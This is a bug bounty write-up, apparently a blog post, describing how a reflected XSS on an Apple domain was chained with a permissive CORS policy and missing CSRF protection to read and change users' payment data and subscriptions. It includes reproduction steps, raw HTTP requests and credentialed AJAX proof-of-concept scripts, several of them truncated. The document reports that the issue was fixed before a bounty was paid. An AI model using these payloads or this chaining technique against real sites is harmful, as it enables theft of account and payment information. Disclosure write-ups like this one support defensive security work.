Apple - Steal Payment Data and Full access to payment actions of any Apple Account in multiple services By Chaining CORS and XSS [7500$]
Apple Inc. is an American multinational technology company headquartered in Cupertino, California. As of March 2023, Apple is the world's biggest company by market capitalization, and with US$394.3 billion the largest technology company by 2022 revenue.
##Impact :
I am mentioning a few examples below.
1.Access to Payment Data like credit card , Billing Address etc.
2.Add/Edit/Delete credit cards and billing/shipping address
3.Force user to Get the subscription
4.Cancel Current subscriptions of user
Target Information :
https://podcastsconnect.apple.
https://buy.podcastsconnect.
Technical Details of the Bug :
1.Reflected XSS on https://itunes.apple.com
I found a Reflected XSS on https://itunes.apple.com . Mentioning the POC below.
POC :
https://itunes.apple.com/
https://itunes.apple.com/
I am also attaching a screenshot.
2.CORS Misconfiguration :
When we Access few domains like music.apple.com , tv.apple.com , iTunes.apple.com , podcastsconnect.apple.com etc.
For All payment related data and actions , below mentioned domain runs in background .
Vulnerable Domain :
Above mentioned all domains are similar in behaviour but the domain name is different based on where it's being used.
Ex :
For payments on tv.apple.com , the used domain will be buy.tv.apple.com
There is a CORS implementation in all domains https://buy.*.apple.com
This CORS policies are very strict as domain outside the apple.com is allowed . No subdomain of apple.com is also not allowed.
After testing , I found below domains are allowed .
Apart from that I found https://itunes.apple.com was allowed as a valid domain and user can make GET/POST requests from
POC :
1.Login to https://music.apple.com and go to settings.
2.Capture the background traffic in the proxy tool.
3.You will notice requests with domain https://buy.music.apple.com
4.Capture any request and send it to repeater(Ex: in burp suite)
5.Add Origin: https://itunes.apple.com Header and run the request.
6.You will notice that the Header will be accepted and reflects back with
Access-Control-Allow-
Same will be applied on all the below mentioned domains :
https://podcastsconnect.apple.
CSRF on https://buy.*.apple.com :
The https://buy.*.apple.com is not only used for data access but it's also used for many critical Actions like
Add/Edit credit cards or payment methods, Buy a subscription , Cancel subscription etc.
All the POST requests are only protected by Strict origin header validation(explained above) and Content-Type header validation.
Hence If we make requests from any valid Origin and CSRF will be bypassed.
Chaining all Three Attacks :
As explained above in each section. https://itunes.apple.com is valid domain for CORS in https://buy.*.apple.com .
Hence XSS on https://itunes.apple.com leads to Access data and make requests from https://buy.*.apple.com .
Hence Now Attacker can run malicious javascript code on https://itunes.apple.com and Access payment related data
and actions from https://buy.*.apple.com on victim account.
##Steps to reproduce and POCs :
I am taking https://music.apple.com and https://buy.music.apple.com for POC purpose . You can also take
https://tv.apple.com and https://podcastsconnect.apple.
How to capture below mentioned requests :
1.Login to https://music.apple.com and go to settings.
2.Now check the background requests in burp suite or any other proxy tool.
I am going to mention few requests , AJAX Code for Attack and Direct POC URLs below .
Get Basic Payment and credit card info of any user :
Vulnerable HTTP request :
```
GET /account/stackable/
Host: buy.music.apple.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: */*
Accept-Language: en-gb
Accept-Encoding: gzip, deflate
Referer: https://music.apple.com/
content-type: application/json
x-apple-store-front: 143467-2,8
Origin: https://music.apple.com
Connection: close
Cookie: [cookies]
```
AJAX Request :
<script>
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
alert(this.responseText);
}
};
xhttp.open("GET", "https://buy.music.apple.com/
xhttp.withCredentials = true;
xhttp.send();
</script>
URL Encoded POC URL :
https://itunes.apple.com/
PII and Payment Details :
Vulnerable HTTP request :
```
POST /account/information/sections HTTP/1.1
Host: buy.music.apple.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: */*
Accept-Language: en-gb
Accept-Encoding: gzip, deflate
Referer: https://music.apple.com/
content-type: application/json
x-apple-store-front: 143467-2,8
Origin: https://music.apple.com
Content-Length: 49
Connection: close
Cookie: [Cookies]
{"sections":["accountSummary",
```
AJAX Request :
<script>
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
alert(this.responseText);
}
};
xhttp.open("POST", "https://buy.music.apple.com/
xhttp.setRequestHeader("
var data=JSON.stringify({"
xhttp.withCredentials = true;
xhttp.send(data);
</script>
URL Encoded POC URL :
https://itunes.apple.com/
Vulnerable HTTP request :
GET /account/web/infoRefresh HTTP/1.1
Host: buy.music.apple.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: */*
Accept-Language: en-gb
Accept-Encoding: gzip, deflate
Referer: https://music.apple.com/
content-type: application/json
x-apple-store-front: 143467-2,8
Origin: https://music.apple.com
Connection: close
Cookie: [cookies]
Ajax Request :
<script>
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
alert(this.responseText);
}
};
xhttp.open("GET", "https://buy.music.apple.com/
xhttp.withCredentials = true;
xhttp.send();
</script>
URL Encoded POC URL :
https://itunes.apple.com/
Update credit card and Billing Details of any user :
Edit the payment card and this request will occur.
Vulnerable HTTP request :
```
POST /WebObjects/MZFinance.woa/wa/
Host: buy.music.apple.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://music.apple.com/
content-type: application/x-www-form-
Origin: https://music.apple.com
Content-Length: 679
Connection: close
Cookie: [cookies]
POST Parameters here
```
Ajax Request :
<script>
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
alert(this.responseText);
}
};
xhttp.open("POST", "https://buy.music.apple.com/
xhttp.setRequestHeader("
var data="storefront=IND&
xhttp.withCredentials = true;
xhttp.send(data);
</script>
URL Encoded POC URL :
https://itunes.apple.com/
#Video Proof of concept :
I am attaching Vimeo password protected video.
Link : https://vimeo.com/559574933
Password : h1test1110@
#Effected Service :
https://podcastsconnect.apple.
https://buy.podcastsconnect.
Timeline :
June 21th 2021: Report send to Apple product Security Team through Email.
June 21th 2021 : Report Accepted and Triaged.
June 22th 2021 : Partial Fix was released to break the full chain.
Nov 14th 2021 : Complete issue was resolved and confirmed.
Dec 06th 2021 : 7500$ Bounty Rewarded
Comments
Post a Comment